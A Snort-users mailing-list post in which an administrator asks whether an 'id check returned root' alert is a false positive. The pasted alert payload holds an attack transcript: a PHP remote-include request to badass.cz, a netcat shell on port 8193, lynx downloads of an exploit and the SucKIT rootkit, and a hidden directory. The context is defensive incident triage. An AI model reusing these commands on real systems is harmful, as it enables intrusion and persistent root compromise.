[Snort-users] ATTACK-RESPONSES id check returned root

I came in this moring and checked my snort alerts (morning routine), and
noticed the following:

ATTACK-RESPONSES id check returned root 2005-10-21 07:40:32
82.165.25.125:80<http://82.165.25.125:80>
10.10.10.5:51949 <http://10.10.10.5:51949> TCP

Some background. 10.10.10.x is my dmz and 10.10.10.5 <http://10.10.10.5> is
a firewall/proxy (Slack 10.1) that connects the 10.10.10.x to our
192.168.0.x internal network.
So I started digging around. The alert logged the following:

SUCKIT v 1.1c - New, singing, dancing, world-smashing rewtkit *.*
(c)oded by sd@sf.cz &amp; devik@cdi.cz, 2001
Configuring ./sk:.OK!.[attacker@badass.cz ~/sk10]$ telnet
lamehost.com<http://lamehost.com>
80.Trying 192.160.0.2.... Connected to lamehost.com..Escape character is
'^]'..GET /bighole.php3?inc=http://badass.cz/egg.php3 HTTP/1.1.Host:
lamehost.com <http://lamehost.com> ..HTTP/1.1 200 OK.Date: Thu, 18 Oct 2001
04:04:52 GMT.Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)
PHP/4.0.4pl1.Last-Modified: Fri, 28 Sep 2001 04:42:34 GMT.ET
<http://GMT.ET>ag: &quot;31c6-c2-3bb3ffba&quot;.Content-Type:
text/html..IT WERKS! Shell at
port 8193 Connection closed by foreign host..[attacker@badass.cz~/sk10]$ nc
-v lamehost.com <http://lamehost.com>
8193.lamehost.com<http://8193.lamehost.com>[
192.168.0.2 <http://192.168.0.2>] 8193 (?) open.w.12:08am up 1:20, 3 users,
load average: 0.05, 0.06,0.08.USER TTY FROM LOGIN@IDLE JCPU PCPU
AT.roottty1 - 11:58pm 39:03
3.15s 2.95s bash.cd <http://bash.cd> /tmp.lynx -dump http://badass.cz/s.c
&gt <http://badass.cz/s.c&gt>; s.c.gcc s.c o
super-duper-hacker-user-rooter../super-duper-hacker-user-rooter.id.uid=0(root)
gid=0(root) groups=0(root).cd /usr/local/man/man4.mkdir .l33t.cd .l33t.lynx
-dump http://badass.cz/~attacker/sk10/s
k &gt; sk.chmod+s+u sk../sk.* * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * *.*SUCKIT v1.1c - New, singing, dancing, w

Ok, there a few things that make me think that this is a false positive.
First is the "192.160.0.02 <http://192.160.0.02>" IP. That is not on this
network. Second, There is no host on 192.168.0.2 <http://192.168.0.2>.
Third, I do not have any Red Hat machines. They are all Slackware. I am
still concerned. I searched for "sk" and all I found are two directories
related to vim and I didn't find a directory called "l33t".

Can anyone help me out?

Thanks,
Chris